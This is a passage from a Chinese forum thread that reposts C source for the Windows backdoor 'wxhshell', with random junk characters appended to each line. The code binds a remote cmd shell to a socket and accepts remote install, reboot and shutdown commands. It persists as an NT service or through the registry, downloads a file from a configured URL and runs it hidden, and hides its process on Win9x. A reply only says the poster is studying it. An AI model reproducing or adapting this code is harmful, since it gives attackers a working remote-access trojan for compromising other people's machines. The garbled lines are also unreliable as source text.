  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n~%}Z[5D  
  } yWuIu>VJ  
  else { Q \WXi  
VM;g +RRq  
    switch(cmd[0]) { e6m1NH4,  
  t aV|YP$  
  // 帮助 F@^N|;_2  
  case '?': { PP4d?+;V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5"2@NL  
    break; ,.7vBt6 p  
  } !E0fGh  
  // 安装 MPG+B/P&  
  case 'i': { )52#:27F  
    if(Install()) )@$ &FFIu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $i%HDt|  
    else m3"c (L`B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &#,v_B)a_E  
    break; E{oB2;P  
    } swt\Ru6,  
  // 卸载  8bGD  
  case 'r': { k+txb?  
    if(Uninstall()) *-7fa0<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i-"<[*ePd  
    else F*!gzKZ"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hXnw..0"  
    break; gix>DHq$k  
    } Xj;2h{#s  
  // 显示 wxhshell 所在路径 +gNX7xuY  
  case 'p': { )|:8zDuJ  
    char svExeFile[MAX_PATH]; @?M; 'xMbB  
    strcpy(svExeFile,"\n\r"); 3Tw%W0q  
      strcat(svExeFile,ExeFile); ](n69XX_  
        send(wsh,svExeFile,strlen(svExeFile),0); !ABLd|tP  
    break; un&>  
    } dcP88!#5-  
  // 重启 w= B  
  case 'b': { >vxWx[fRu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )BpIxWd?  
    if(Boot(REBOOT)) vVdxi9yk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .S(^roM;+  
    else { ku-cn2M/  
    closesocket(wsh); {[lx!QF 8&  
    ExitThread(0); iz(m3k:w  
    }  %|bN@@  
    break; 7_7xL(F/  
    } vcV!K^M-  
  // 关机 *NF&Y  
  case 'd': { GJ>ypEWo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l`qP~ k#  
    if(Boot(SHUTDOWN)) vhX-Qkt}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1"d\ mE  
    else { C?(y2p`d\  
    closesocket(wsh); w4aiI2KFq  
    ExitThread(0); qs "s/$  
    } 6T]Q.\5BZ  
    break; rr>IKyI'  
    } WQTendS  
  // 获取shell 63SVIc~wT  
  case 's': { V"BVvSNu  
    CmdShell(wsh); uiuTv)pwF  
    closesocket(wsh); KG-UW  
    ExitThread(0); I,w^ ?o  
    break; dkETM,  
  } i >J:W"W   
  // 退出 Ipg\9*c`  
  case 'x': { ym[+Rw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,A^L=+  
    CloseIt(wsh); 9M;I$_U`vj  
    break; {#0Tl  
    } % hNn%Oy:E  
  // 离开 <w;D$l}u  
  case 'q': { L#[HnsLp_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EI<"DB   
    closesocket(wsh); R:BBF9sK?  
    WSACleanup(); \2(MpB\_6!  
    exit(1); @ljZw(  
    break; "3v7gtGG  
        } -5o?#%  
  } pDP33`OFh  
  } <%he  o  
rT o%=0P  
  // 提示信息 Mi<*6j0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i4 P$wlO  
} =SA 4\/  
  } Bk@bN~B4  
|%n|[LP'  
  return; oUCS |  
} sek6+#|=  
h!ZZ2[  
// shell模块句柄 gq=0L:  
int CmdShell(SOCKET sock) oJhEHx[f  
{ hcj{%^p  
STARTUPINFO si; {E3;r7  
ZeroMemory(&si,sizeof(si)); }`#j;H$i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qh/lT$g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kVy"+ZebK  
PROCESS_INFORMATION ProcessInfo; FW/6{tm  
char cmdline[]="cmd"; 1a \=0=[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M_yZR^;^-  
  return 0; {c.}fyN  
} N45 s'rF  
OX'/?B((  
// 自身启动模式 qdKh6{  
int StartFromService(void) 7&#'c8]/qh  
{ )kFme=;  
typedef struct :Xb*m85y  
{ :/ ~):tM  
  DWORD ExitStatus; g]:..W7  
  DWORD PebBaseAddress; V=:,]fTr  
  DWORD AffinityMask; Z?5,cI[6#  
  DWORD BasePriority; u!sSgx =  
  ULONG UniqueProcessId; \ro~-n+o  
  ULONG InheritedFromUniqueProcessId; 44z=m MR<  
}   PROCESS_BASIC_INFORMATION; SZNFE  
ER0TY,  
PROCNTQSIP NtQueryInformationProcess; 4KN0i  
A;K{&x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xKRfl1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZKVp[A  
[I#Q  
  HANDLE             hProcess; b=6ZdN1  
  PROCESS_BASIC_INFORMATION pbi; r9U[-CX:"  
<6~/sa4GN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `PXoJl  
  if(NULL == hInst ) return 0; 6,sRavs  
Y;~EcM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rCV$N&rK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gEX:S(1 QP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RXIH(WiK  
h+\$ Z]  
  if (!NtQueryInformationProcess) return 0; oY| (M_;  
`K1PGibV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U`},)$  
  if(!hProcess) return 0; ',v0vyO8  
s2,`eV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O% j,:t'"  
So3,Z'z=  
  CloseHandle(hProcess); D| 3AjzW  
 p1[WGeV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f)!{y> Q  
if(hProcess==NULL) return 0;  uhPIV\  
wpPxEp/  
HMODULE hMod; c/,|[ t  
char procName[255]; + xkMW%e<  
unsigned long cbNeeded; @pyA;>U  
4jI*Y6Wkz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^;v.ytO*  
*GY,h$Ul  
  CloseHandle(hProcess); >-o?S O(M,  
_A# x&<c  
if(strstr(procName,"services")) return 1; // 以服务启动 ;1Tpzm  
5Lo==jHif  
  return 0; // 注册表启动 {RWahnr{  
} [xH2n\7  
yDl5t-0`  
// 主模块 4.$hHFqS^5  
int StartWxhshell(LPSTR lpCmdLine) |G5=>W  
{ iyHp$~,q?t  
  SOCKET wsl; Av\ 0GqF  
BOOL val=TRUE; HvL9;^!  
  int port=0; *>R/(Q  
  struct sockaddr_in door; l-JKcsM  
6r ?cpJV{  
  if(wscfg.ws_autoins) Install(); U7f#Z  
60SenHKles  
port=atoi(lpCmdLine); ?N9adL &b  
l7FZ;%&  
if(port<=0) port=wscfg.ws_port; M zA  
{;wK,dU  
  WSADATA data; Sxx.>gP"61  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \p_8YC  
SK~;<>:37  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /3bca!O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dh7)N}2  
  door.sin_family = AF_INET; $(!D/bvJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NC#kI3{  
  door.sin_port = htons(port); 2T{-J!k  
wN%DM)*k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z2Y583D  
closesocket(wsl); .,(uoK{  
return 1; S -mzxj  
} %[31ZFYB  
E,nYtn|B  
  if(listen(wsl,2) == INVALID_SOCKET) { d%"@#bB  
closesocket(wsl); {yl/T:Bh&  
return 1; `~s,W.Eu4  
} 'FvhzGn9Q  
  Wxhshell(wsl); %)!~t8To  
  WSACleanup(); RI< Yg#   
~P.-3  
return 0; 4h0jX 9  
m0q`A5!)  
} W.7d{ @n  
TPmZ/c^  
// 以NT服务方式启动 ~N+/ZVo&y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p{pzOMi6  
{ }<x!95  
DWORD   status = 0; V-o`L`(F`  
  DWORD   specificError = 0xfffffff; -^NAHE$bW  
wr6xuoH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e#Zf>hlAz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t,as{.H{h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M,dzf  
  serviceStatus.dwWin32ExitCode     = 0; d1LTyzLr  
  serviceStatus.dwServiceSpecificExitCode = 0; t+Q|l&|0  
  serviceStatus.dwCheckPoint       = 0; r z>zdj5}  
  serviceStatus.dwWaitHint       = 0; R,b O{2O  
T W;;OS[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (Os OPTp  
  if (hServiceStatusHandle==0) return; 7Q4Pjc D  
&?ed.V@E5  
status = GetLastError(); [Z`:1_^0}  
  if (status!=NO_ERROR) 'V*M_o(\  
{ dzC&7 9$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $9u  
    serviceStatus.dwCheckPoint       = 0; xWI 0s;k  
    serviceStatus.dwWaitHint       = 0; s9Q)6=mE  
    serviceStatus.dwWin32ExitCode     = status; %BP)m(S7  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^zs4tCW%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e"8m+]  
    return; =xQfgj  
  } "/]tFY%Y  
\(v_",  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DWevg;_]$(  
  serviceStatus.dwCheckPoint       = 0; Gxt<kz  
  serviceStatus.dwWaitHint       = 0; nfPl#]ef*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {UVm0AeUq  
} JnKbd~  
5@r Zm4U  
// 处理NT服务事件,比如:启动、停止 JV*,!5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lDM~Z3(/b  
{ "a_D]D(d5  
switch(fdwControl) i1H80m s  
{ F/,<dNJ  
case SERVICE_CONTROL_STOP: ;<ma K*f\S  
  serviceStatus.dwWin32ExitCode = 0; d+| ! 6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +!Gr`&w*)  
  serviceStatus.dwCheckPoint   = 0; \:)o'-   
  serviceStatus.dwWaitHint     = 0; >"My\o  
  { !/lY q;$R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o_^d>Klb8  
  } C36.UZoc  
  return; k=/|?%  
case SERVICE_CONTROL_PAUSE: *Zo o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wjGjVTtHs  
  break; HC`3AQ12!&  
case SERVICE_CONTROL_CONTINUE: ,(Hmk(,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !`Yi{}1_  
  break; 9Q5P7}%p  
case SERVICE_CONTROL_INTERROGATE: Nk~dfY<s  
  break; wN0OAbtX'  
}; zNTu j p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5x'y{S<  
} 9%k.GE  
OU5|m%CmO  
// 标准应用程序主函数 P!&CH4+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .F$AmVTN  
{ uM6!RR!~  
j24  
// 获取操作系统版本 KO;61y:  
OsIsNt=GetOsVer(); wg~`Md  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .*ovIU8  
gd,%H@3  
  // 从命令行安装 !rqR]nd  
  if(strpbrk(lpCmdLine,"iI")) Install(); l,2z5p  
2%yJo7f$[  
  // 下载执行文件 U@AfRUF&  
if(wscfg.ws_downexe) { w+(wvNmNEK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NjyIwo0  
  WinExec(wscfg.ws_filenam,SW_HIDE); <;Z3 5 {  
} (#"s!!b  
m8A_P:MQq  
if(!OsIsNt) { aw~EK0yU   
// 如果时win9x,隐藏进程并且设置为注册表启动 ZvKMRW  
HideProc(); /'_ RI  
StartWxhshell(lpCmdLine); /6*.%M>r  
} 6OW-Dif^AG  
else n^)9QQ  
  if(StartFromService()) .v&h>@'m  
  // 以服务方式启动 ,DO mh<b  
  StartServiceCtrlDispatcher(DispatchTable); |6Z M xY  
else ">&:(<  
  // 普通方式启动 ?i=!UN  
  StartWxhshell(lpCmdLine); <vuX " 8  
25[/'7_"  
return 0; TRok4uc  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八